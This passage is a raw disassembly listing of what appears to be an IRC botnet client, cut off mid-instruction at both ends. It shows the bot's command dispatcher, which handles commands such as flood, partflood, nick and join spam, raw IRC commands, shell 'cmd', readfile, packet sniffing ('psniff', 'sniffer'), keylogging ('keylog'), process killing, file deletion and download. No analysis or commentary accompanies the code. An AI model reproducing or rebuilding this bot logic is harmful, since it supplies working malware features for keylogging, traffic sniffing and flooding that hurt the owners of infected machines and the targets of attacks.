[ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2690000h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 26908FFh push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 26A0617h nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26A0617h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 26A0617h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2690000h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj call near ptr 26908FFh nop push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 2690088h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call near ptr 2690000h nop jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj call near ptr 26908FFh nop push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 2690088h imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 26908FFh push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 2690088h mov ecx, [ebp+var_C58] imul ecx, 